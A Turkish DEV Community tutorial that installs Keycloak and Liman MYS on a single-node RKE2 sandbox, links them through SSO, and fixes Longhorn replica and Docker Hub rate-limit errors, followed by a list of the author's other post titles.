Bu rehberde, RKE2 (hafifletilmiş bir K8s dağıtımı) üzerinde Liman MYS ve Keycloak'u sıfırdan kuracak, bu iki güçlü sistemi birbirine bağlayacak (SSO) ve bu süreçte kesinlikle karşılaşacağınız en yaygın iki hatayı (Longhorn Pending ve Docker Hub TooManyRequests) adım adım çözeceğiz.

Faz 1: Gerekli Altyapı (Bizim "Sandbox" Ortamımız)

Başlamadan önce, RKE2 sunucumuzun uygulamaları barındırmaya hazır olması gerekir.

RKE2: Zaten kurulu olduğunu varsayıyoruz.
Helm: Kubernetes için bir paket yöneticisidir.
```
sudo snap install helm --classic
```
StorageClass (Longhorn): Liman ve Keycloak'un veritabanları gibi 'stateful' (durum bilgisi tutan) uygulamaları, verilerini kalıcı olarak saklamak zorundadır. Bunun için bir StorageClass (Depolama Sınıfı) sağlayıcısına ihtiyacımız var. Biz burada popüler ve RKE2 ile uyumlu olan Longhorn'u kullanacağız.

Aşağıdaki kod Longhorn'u ve onun 'longhorn' adlı StorageClass'ını kurar

kubectl apply -f https://raw.githubusercontent.com/longhorn/longhorn/v1.9.0/deploy/longhorn.yaml

Longhorn'un longhorn-system namespace'inde kurulup pod'larının Running duruma gelmesini bekleyin.

Faz 2: Keycloak Kurulumu ve Erişimi

Artık altyapımız hazır olduğuna göre, kimlik sunucumuz olan Keycloak'u kuralım.

Adım 1: Keycloak'u Kurma

Topluluk tarafından sağlanan resmi YAML dosyası, hem Keycloak'u (bir StatefulSet olarak) hem de veritabanı için bir PostgreSQL'i (bir Deployment olarak) kurar.

kubectl apply -f https://raw.githubusercontent.com/keycloak/keycloak-quickstarts/refs/heads/main/kubernetes/keycloak.yaml

Adım 2: Pod Kontrolü

Kurulumun tamamlandığını görmek için pod'ları kontrol edin.

kubectl get pods

NAME                       READY   STATUS    RESTARTS   AGE
keycloak-0                 1/1     Running   0          39h
keycloak-1                 1/1     Running   0          39h
postgres-65cf55dbf-nv5kx   1/1     Running   0          40h
redis-58f44d957b-6gzmw     1/1     Running   0          24h

Pod'ların Running durumuna geçmesi, Docker Hub limitlerine takılmazsanız birkaç dakika sürebilir. (Eğer ErrImagePull hatası alırsanız, Faz 4'teki çözüme atlayın).

Adım 3: Keycloak Ingress Yapılandırması

Keycloak'a tarayıcıdan temiz bir adresle (keycloak.test.local gibi) erişmek için bir Ingress oluşturacağız.

Önce, Keycloak servisinin hangi portu kullandığını öğrenelim:

kubectl get svc

NAME                 TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)    AGE
keycloak             ClusterIP   10.43.158.36   <none>        8080/TCP   40h
keycloak-discovery   ClusterIP   None           <none>        <none>     40h
kubernetes           ClusterIP   10.43.0.1      <none>        443/TCP    42h
postgres             ClusterIP   10.43.32.41    <none>        5432/TCP   40h

Gördüğümüz gibi, keycloak servisi 8080 portunu kullanıyor. Şimdi keycloak-ingress.yaml dosyamızı oluşturalım:

nano keycloak-ingress.yaml

Dosyanın içeriği:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: keycloak-ingress
spec:
  # RKE2'nin varsayılan nginx controller'ını kullan
  ingressClassName: nginx  
  rules:
  - host: "keycloak.test.local" # Keycloak'a bu adresle erişeceğiz
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: keycloak   # Yukarıda öğrendiğimiz servis adı
            port:
              number: 8080 # Yukarıda öğrendiğimiz port

Ingress kuralını uygulayalım:

kubectl apply -f keycloak-ingress.yaml

Adım 4: Hosts Dosyası

keycloak.test.local adresinin RKE2 sunucumuzun IP'sine yönlenmesi için, tarayıcıyı kullandığımız kendi bilgisayarımızda (sunucuda değil!) /etc/hosts dosyasını düzenlememiz gerekiyor.

sudo nano /etc/hosts

Dosyanın en altına RKE2 sunucunuzun IP'sini ve host adını ekleyin:

<kubernetes-kurulu-server-ip-adresi>   keycloak.test.local

Artık tarayıcıdan http://keycloak.test.local adresine giderek Keycloak arayüzüne erişebilirsiniz.

Varsayılan hızlı başlangıç bilgileri:

Kullanıcı Adı: admin
Şifre: admin

Faz 3: Keycloak'u Liman için Yapılandırma

Liman'a "Bana güvenebilirsin" demek için Keycloak'ta bir "Client" (istemci) ve "Realm" (Bölge) oluşturmalıyız.

Realm Oluşturun: admin olarak giriş yaptıktan sonra, sol üstteki "master" yazan yerden "Manage realms" > "Create Realm" deyin. Realm adınızı Liman-Realm gibi bir şey yapın ve "Create"e tıklayın.
Client Oluşturun: Sol üstten Liman-Realm'i seçtiğinizden emin olun. Sol menüden "Clients" sekmesine ve ardından "Create Client"a tıklayın. "Client ID" kısmına liman-client gibi hatırlayacağınız bir isim verin. Gelen ekranda "Client authentication" ve "Authorization" seçeneklerini ON (Açık) konuma getirin. Aşağıdaki "Valid redirect URIs" alanına, Liman arayüzünde bizden istenen adresi girmeliyiz. Bu, Liman'ın Ingress host adına bağlı olacaktır. Şimdilik https://liman.test.local/keycloak/callback yazabilirsiniz. (Liman Ingress'ini oluştururken liman.test.local kullanacağız). Web origins kısmına da https://liman.test.local yazın ve kaydedin.
Client Secret'ı Alın: Kaydettikten sonra açılan "Credentials" sekmesine tıklayın ve "Client Secret" değerini kopyalayın. Bu, Liman'daki forma yapıştıracağımız "şifre" olacak.
Rolleri Token'a Ekleyin (Çok Önemli Adım!): Liman'ın, giriş yapan kullanıcının yetkilerini anlaması için bu rollerin Keycloak tarafından oluşturulan token'a eklenmesi gerekir.
- Sol menüden "Client Scopes"a tıklayın.
- roles adlı scope'u seçin.
- Açılan ekranda "Mappers" (Eşleyiciler) sekmesine tıklayın.
- realm-roles'e girin, "Add to access token" seçeneğini aktifleştirip kaydedin.
- Aynı işlemi client-roles için de yapın.
Test Kullanıcısı Oluşturun:
- Sol menüden "Users"a gidin ve "Add User" deyin.
- Kullanıcı bilgilerinizi girin, "Email verified" seçeneğini açın ve Create'e tıklayın.
- Kullanıcıyı oluşturduktan sonra, "Credentials" sekmesine giderek ona kalıcı bir şifre belirleyin (Temporary'i kapatarak).

Keycloak tarafı artık Liman'ı kabul etmeye hazır.

Faz 4: Liman MYS Kurulumu ve Hata Ayıklama

Şimdi Liman MYS'yi kuralım ve bu süreçte karşılaşacağımız iki yaygın hatayı çözelim.

git clone https://github.com/limanmys/core.git
cd core/k8s/helm
kubectl create namespace liman
helm install limancore . --namespace liman

kubectl get pods -n liman komutunu çalıştırdığınızda, pod'ların Pending (Beklemede) veya ErrImagePull durumunda takıldığını göreceksiniz. Panik yapmayın, bu normal.

HATA 1 ÇÖZÜMÜ: Pending (Beklemede) Pod'lar

db- ve limancore- pod'larının Pending kalmasının nedeni, Longhorn'un varsayılan olarak 3 replica (kopya) disk oluşturmaya çalışmasıdır. Bizim RKE2 kurulumumuz tek bir sunucudan (Node) oluştuğu için Longhorn "Verinin 3 kopyasını oluşturamam" diyerek diski (Volume) oluşturmayı reddeder.

Bunu düzeltmek için Longhorn arayüzüne erişip replica sayısını 1'e düşüreceğiz:

Longhorn Arayüzünü Erişime Açın:
```
kubectl edit svc longhorn-frontend -n longhorn-system
```
Açılan vi editöründe, spec: altındaki type: ClusterIP satırını type: NodePort olarak değiştirin ve kaydedip çıkın (Esc > :wq > Enter).

Portu Öğrenin:

kubectl get svc -n longhorn-system
NAME                          TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)        AGE
longhorn-admission-webhook    ClusterIP   10.43.130.170   <none>        9502/TCP       23h
longhorn-backend              ClusterIP   10.43.171.127   <none>        9500/TCP       23h
longhorn-conversion-webhook   ClusterIP   10.43.234.16    <none>        9501/TCP       23h
longhorn-frontend             NodePort    10.43.84.222    <none>        80:31248/TCP   23h
longhorn-recovery-backend     ClusterIP   10.43.60.100    <none>        9503/TCP       23h

longhorn-frontend servisinin NodePort değerini (örn: 80:31248/TCP) göreceksiniz. Bize 31248 portu lazım.

Replica Sayısını Düşürün: Tarayıcınızdan http://<sunucu-ip-adresi>:<port-sayısı> (örn: http://xx.xx.xx.xx:31248) adresine gidin. "Volume" sekmesine gidin. Faulted (Hatalı) durumda olan volüm'leri (liman db ve core için) göreceksiniz. Sağ taraftaki üç noktaya tıklayın ve "Update Replicas" (Replica'ları Güncelle) deyin. Değeri 3'ten 1'e düşürün ve OK'e basın.

Bunu hatalı olan tüm Liman volüm'leri için yaptığınızda, durumları "Healthy" (Sağlıklı) olacaktır ve pod'lar Pending durumundan çıkacaktır.

HATA 2 ÇÖZÜMÜ: ErrImagePull / TooManyRequests

Pending sorununu çözseniz bile, pod'ların bu kez ErrImagePull veya ImagePullBackOff hatası verdiğini göreceksiniz. Bunun nedeni, Docker Hub'ın anonim (giriş yapmamış) kullanıcılara çok düşük bir imaj indirme limiti koymasıdır.

Çözüm, RKE2 sunucumuza Docker Hub'a nasıl giriş yapacağını öğretmektir.

Docker Hub Access Token Oluşturun:
- Docker Hub'a giriş yapın.
- Ayarlar > Security > Personal Access Tokens sayfasına gidin.
- "Generate New Token" diyerek bir token oluşturun ve bu token'ı güvenli bir yere kopyalayın.

Kubernetes Secret Oluşturun: Terminalde, kopyaladığınız o token'ı kullanarak bir Kubernetes "giriş kartı" (secret) oluşturun:

kubectl create secret docker-registry dockerhub-auth \
  --docker-username="SizinDockerHubKullanıcıAdınız" \
  --docker-password="YENİ_OLUŞTURDUĞUNUZ_TOKEN" \
  --docker-email="SizinEmailAdresiniz" \
  -n liman

Secret'ı Pod'lara Tanıtın: liman namespace'indeki default (varsayılan) hizmet hesabını (Service Account) yamalayarak, bu namespace'de oluşturulan her pod'un imaj çekerken bu "giriş kartını" kullanmasını sağlayacağız:
```
kubectl patch serviceaccount default -n liman -p '{"imagePullSecrets": [{"name": "dockerhub-auth"}]}'
```
Pod'ları Yeniden Başlatın: Hatalı pod'ları silerek Kubernetes'in onları yeni ayarla (giriş yapmış olarak) yeniden başlatmasını sağlayın:
```
kubectl delete pods --all -n liman
```
Tekrar kubectl get pods -n liman -w komutuyla izlediğinizde, bu kez tüm pod'ların imajları başarıyla çektiğini ve Running durumuna geçtiğini göreceksiniz.

Faz 5: Liman Ingress ve Son Ayarlar

Artık çalışan bir Liman'ımız var. Ona da Keycloak gibi temiz bir adresle erişelim.

Liman Ingress Dosyası:

sudo nano liman-ingress.yaml

Dosyanın içeriği:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: liman
  namespace: liman
  annotations:
    # Arka uç (Liman) HTTPS (443) kullandığı için Nginx'e HTTPS konuşmasını söylüyoruz
    nginx.ingress.kubernetes.io/backend-protocol: "HTTPS"
    # Liman'ın kendi imzaladığı sertifikayı Nginx'in dert etmemesini söylüyoruz
    nginx.ingress.kubernetes.io/proxy-ssl-verify: "off"
spec:
  ingressClassName: nginx
  rules:
  - host: "liman.test.local" # Liman'a bu adresle erişeceğiz
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: limancore # Liman'ın ana servis adı
            port:
              number: 443    # Liman'ın servis portu

Dosyayı kaydedin ve uygulayın:

kubectl apply -f liman-ingress.yaml -n liman

Hosts Dosyasını Güncelleyin: Tekrar kendi bilgisayarınızda sudo nano /etc/hosts dosyasını açın ve liman.test.local adresini de ekleyin:
```
<kubernetes-kurulu-server-ip-adresi>   keycloak.test.local
<kubernetes-kurulu-server-ip-adresi>   liman.test.local
```

Liman Admin Şifresini Alın: Liman'a ilk giriş için tek kullanımlık bir şifre almamız gerekiyor:

# Önce limancore pod'unun tam adını bulalım:
LIMAN_POD_NAME=$(kubectl get pods -n liman -l service=limancore -o jsonpath='{.items[0].metadata.name}')
echo "Liman Pod Adı: $LIMAN_POD_NAME"

# Şimdi o pod'dan şifreyi isteyelim:
kubectl exec -it $LIMAN_POD_NAME -n liman -- limanctl administrator

Size administrator kullanıcısı için bir şifre verecektir.

Liman'ı Keycloak'a Bağlayın:
- Tarayıcınızdan http://liman.test.local adresine gidin. (Ingress, isteğinizi otomatik olarak HTTPS'e yönlendirecektir).
- Aldığınız administrator şifresiyle giriş yapın.
- Ayarlar > Erişim > Keycloak sekmesine gidin.
- Buradaki alanları, Faz 3'te Keycloak'ta oluşturduğunuz bilgilerle doldurun:
  - Client ID: liman-client (veya ne isim verdiyseniz)
  - Client Secret: Keycloak'tan kopyaladığınız gizli şifre.
  - Redirect URL: https://liman.test.local/keycloak/callback (Keycloak'a girdiğiniz adresin aynısı)
  - Base URL: http://keycloak.default.svc.cluster.local:8080 (Keycloak adresiniz)
  - Realm: Liman-Realm (veya ne isim verdiyseniz)
- "Entegrasyonu aktifleştir" butonunu AÇIK hale getirin ve kaydedin.

Son Adım: Liman'ı Yeniden Başlatın

Liman'ın bu yeni ayarları çekmesi için limancore pod'unu yeniden başlatmamız gerekiyor:

# Pod'un tam adını tekrar bulup silin
kubectl delete pod $LIMAN_POD_NAME -n liman

Pod yeniden başladığında, Liman giriş ekranına geri dönün.

Artık "Giriş Yöntemi" olarak Keycloak'u seçebilir, Faz 3'te oluşturduğunuz test kullanıcısıyla giriş yapabilir ve Keycloak üzerinden Liman'a başarıyla bağlandığınızı görebilirsiniz.

Tebrikler! Artık RKE2 üzerinde çalışan, Longhorn ile kalıcı depolamaya sahip ve Keycloak ile SSO entegrasyonu tamamlanmış bir Liman MYS kurulumunuz var.

DEV Community: Yunus Emre Dere

Blind SQL Injection (Oracle): Intruder ile Administrator Şifresini Karakter Karakter Çıkarmak

Lab Tanıtımı

Blind SQLI Nedir?

İlk Yaklaşım

Nihai Payload ve Oracle'a Özgü Tuzaklar

Elle Karakter Bulmanın Sınırları

Intruder ile Otomatikleştirme

Sonuç: Administrator Olarak Giriş

Yaşadığım Hatalar

Öğrendiklerim

PortSwigger: SQL Injection with Filter Bypass via XML Encoding - Çözüm Günlüğüm

Lab Tanıtımı

İlk Deneme ve Karşılaşılan Engel

Araç Kurulumu

Çözüm Mantığı

Adım Adım Çözüm

Yaşadığım Hatalar

Öğrendiklerim

NeuVector - Rke2: Kubernetes İçin Derinlemesine Güvenlik

Detaylar ve Temel Özellikler

1. Canlı Ağ Güvenliği (Runtime Security)

2. Zero-Trust ve Davranışsal Öğrenme

3. Zafiyet ve Uyumluluk Taraması

Olumsuz Yanları

Yüksek Kaynak Tüketimi

Ağ Gecikmesi (Latency)

Protect Moduna Geçiş Riski

Karmaşık Yönetim ve Öğrenme Eğrisi

İlk Kurulumda Kargaşa

Ne Zaman Kullanılmalı?

Mimari ve Kavramlar

1. Üç Temel Bileşen

2. Altın Kural: "Önce Öğren, Sonra Koru"

3. SUSE ve Açık Kaynak Durumu

4. Kurallar Kod Olarak Dışarı Alınabilir (Security As Code)

5. Helm İle Kurulum

Diğer Firewall'lar ile Karşılaştırma

Ek Bilgi: WAF Nedir?

WAF Neleri Engeller? (OWASP Top 10)

Kubernetes Gateway API Rehberi: Ingress NGINX'ten Göç ve Zabbix Örneği

NGINX Ingress'e Ne Oldu?

Gateway API Nedir ve Neden Önemli?

1. GatewayClass

2. Gateway

3. HTTPRoute

Gateway API'nin Sağladığı Kolaylıklar

Gerçek Dünya Örneği: Zabbix Deployment

Adım 1: GatewayClass Oluşturma

Adım 2: Gateway Oluşturma

Adım 3: Zabbix için HTTPRoute

Deployment

Sık Karşılaşılan Sorunlar ve Çözümleri

Önemli Trickler ve Best Practices

1. Gateway Namespace Seçimi

2. Gateway İsimlendirme

3. LoadBalancer External IP

4. Multiple Listeners

5. Debugging

Gateway API vs Ingress: Özet Karşılaştırma

Kubectl Alias'ları (Bonus)

Sonuç

Kaynaklar

RKE2'de Liman MYS & Keycloak Kurulumu: Longhorn ve Docker Hub Hata Çözümleri Dahil Tam Rehber

Faz 1: Gerekli Altyapı (Bizim "Sandbox" Ortamımız)

Faz 2: Keycloak Kurulumu ve Erişimi

Adım 1: Keycloak'u Kurma

Adım 2: Pod Kontrolü

Adım 3: Keycloak Ingress Yapılandırması

Adım 4: Hosts Dosyası

Faz 3: Keycloak'u Liman için Yapılandırma

Faz 4: Liman MYS Kurulumu ve Hata Ayıklama

HATA 1 ÇÖZÜMÜ: Pending (Beklemede) Pod'lar

HATA 2 ÇÖZÜMÜ: ErrImagePull / TooManyRequests

Faz 5: Liman Ingress ve Son Ayarlar

Son Adım: Liman'ı Yeniden Başlatın

`Protect` Moduna Geçiş Riski